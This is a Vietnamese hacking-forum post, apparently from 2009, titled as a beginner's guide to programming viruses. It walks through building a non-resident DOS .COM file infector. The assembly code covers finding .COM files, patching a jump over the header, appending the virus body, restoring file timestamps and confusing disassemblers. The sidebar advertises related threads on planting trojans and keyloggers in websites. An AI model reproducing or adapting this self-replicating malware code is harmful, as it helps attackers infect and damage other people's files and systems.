HACKIS - Hacking Internet Security
Would you like to react to this message? Create an account in a few clicks or log in to continue.
Search
 
 

Display results as :
 


Rechercher Advanced Search

Latest topics
» Tuyệt Kỹ Đong Giai Chân Kinh (tuyệt Kỹ cua trai)
Hướng dẫn lập trình Virus, Dành cho newbie2 EmptyThu Aug 23, 2012 5:38 am by Admin

» Tuyệt kỹ cua giai
Hướng dẫn lập trình Virus, Dành cho newbie2 EmptyThu Aug 23, 2012 5:36 am by Admin

» NETCAT.........
Hướng dẫn lập trình Virus, Dành cho newbie2 EmptyMon Aug 13, 2012 6:35 am by Admin

» Bảo mật CSDL bằng phương pháp mã hóa.
Hướng dẫn lập trình Virus, Dành cho newbie2 EmptyTue Apr 17, 2012 10:04 pm by Admin

» Hàm mã hóa MD5 bằng JavaScript
Hướng dẫn lập trình Virus, Dành cho newbie2 EmptyTue Apr 17, 2012 10:03 pm by Admin

» Giá của món quà
Hướng dẫn lập trình Virus, Dành cho newbie2 EmptyFri Apr 13, 2012 6:01 am by Admin

» Sẽ chỉ yêu ai?
Hướng dẫn lập trình Virus, Dành cho newbie2 EmptyFri Apr 13, 2012 6:01 am by Admin

» Cách đọc bảng chữ cái!
Hướng dẫn lập trình Virus, Dành cho newbie2 EmptyThu Apr 12, 2012 10:37 pm by Admin

» Gắn trojan, keylog, virus vào website, forum
Hướng dẫn lập trình Virus, Dành cho newbie2 EmptyTue Apr 10, 2012 1:14 am by Admin

Affiliates
free forum


Hướng dẫn lập trình Virus, Dành cho newbie2

Go down

Hướng dẫn lập trình Virus, Dành cho newbie2 Empty Hướng dẫn lập trình Virus, Dành cho newbie2

Post  Admin Sat Sep 05, 2009 9:39 pm

Thao tác lây nhiễm của một VR .com là
1. Mở file .com
2. Lưu ngày giờ tạo file
3. Lưu các bytes đầu CT gốc (thường là 3)
4. Tính lệnh nhảy tới VR (cuối CT)
5. Ghi lệnh nhảy đè lênh các bytes đầu
6. Nối VR vào cuối CT gốc
7. Phục hồi lại ngày giờ tạo file
8. Đóng file

Vậy những gì ta sẽ phải làm khi VR nắm quyền điều khiển? Tất nhiên là tìm
kiếm các tệp .com chưa lây nhiễm ở xung quanh và bắt đầu lây nhiễm

Thực hành:
Bắt đầu một VR đơn giản:

.model tiny
.code

org 0100h

jump_to_VR:
db 0E9h,0,0 ; jmp start
start:
call get_addr
db 0b8h ;<== đánh lạc hướng disassembler (xem bài Kỹ thuật lập trình VR)
get_addr:
pop bp

Như vậy ta đã có một khởi đầu của VR. Đối với VR thường trú đây là lúc
ta ém quân lên bộ nhớ bẫy ngắt và chờ đợi. Với một VR không thường trú
bây giờ sẽ là thao tác ta tìm kiếm các tệp *.com để lây lan. Tôi giả định
bạn là người lạp trình ASM cơ bản có nghĩa là có thể sử dụng các ngắt
của dos. Vậy thì thao tác tìm kiếm các tệp đuôi *.com trong thư mục chẳng có
gì khó phải không. Tôi gơi ý dùng hàm 47h ngắt 21h, hàm 4Eh ngắt 21h (find first),
hàm 4Fh ngắt 21h (find next) để tìm kiếm.

Chú ý:vì VR của ta được nối vào cuối một chương trình khác nên các offset
sẽ bị đảo lộn hết. Không nên dùng các offset tuyệt đối mà chỉ sử dụng
tương đối qua thanh ghi bp. Ở đoạn ví dụ trên, ta có trong thanh bp giá trị
offset của nhãn get_addr như vậy muốn lấy địa chỉ một biến xxx ta làm như
sau:


get_addr:
pop bp
;.......
; Code Virus here
;.......
lea dx, [bp+offset COMmask-offset get_addr]
;....

xxx db “*.COM”,0

Sau khi có tên file .com, quy trình lây nhiễm 8 bước ở trên thì cũng không có gì
phức tạp:
1. Mở file:
;offset tên file nạp vào ==> dx
mov ax, 3D02h ; Open R/O
int 21h
xchg ax, bx ; Handle in BX
2. Lấy ngày giờ tạo file
mov ax, 5700h ; get file time/date
int 21h
push cx
push dx
3. Đọc các bytes đầu
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer-offset get_addr]
int 21h

Các bạn có thể đặt vài ký hiệu trên đầu sau lệnh nhảy nhằm kiểm tra nếu
tệp đã bị lây nhiễm thì không lây nhiễm lại.

4. Tính lệnh jmp đến cuối file
xor cx, cx
xor dx, dx
mov ax, 4202h
int 21h ;<== Lấy kích thước tệp

Với:
JmpCode:db 0E9h,00,00

Lúc này ta có thể ghi lệnh nhảy mới vào tệp .com bằng lệnh:
mov word ptr ds:[bp+offset JmpCode-Offset get_addr+1],ax ;Địa chỉ jmpcode + 1
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
mov ah,40h
mov dx,<địa chỉ jmpCode>
mov cx,4
int 21h
5. Nối VR vào cuối tệp
mov ah,40h
mov dx,<địa chỉ start>
mov cx,<Kích thước VR>
int 21h
6. Phục hồi ngày giờ
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 21h
7. Đóng tệp
mov ah,3eh
int 21h

Đọc đám code này có thể bạn không hiểu, OK. Chỉ cần ghi nhớ là
1. Bạn sẽ dùng các lệnh đọc/ghi tệp ghi nội dung VR vào cuối chương trình
gốc
2. Ghi lệnh nhảy gồm3 bytes E9h, <2 bytes kích thước ct gốc> vào đầu ct gốc

Kết thúc quá trình lây lan, hãy move trả các bytes gốc trở về offset 100h và
nhảy về đó

Đến đây ta kết thúc một VR .com không thường trú.
Admin
Admin
Admin

Tổng số bài gửi : 782
Join date : 2009-08-15

https://hackis.forumvi.com

Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum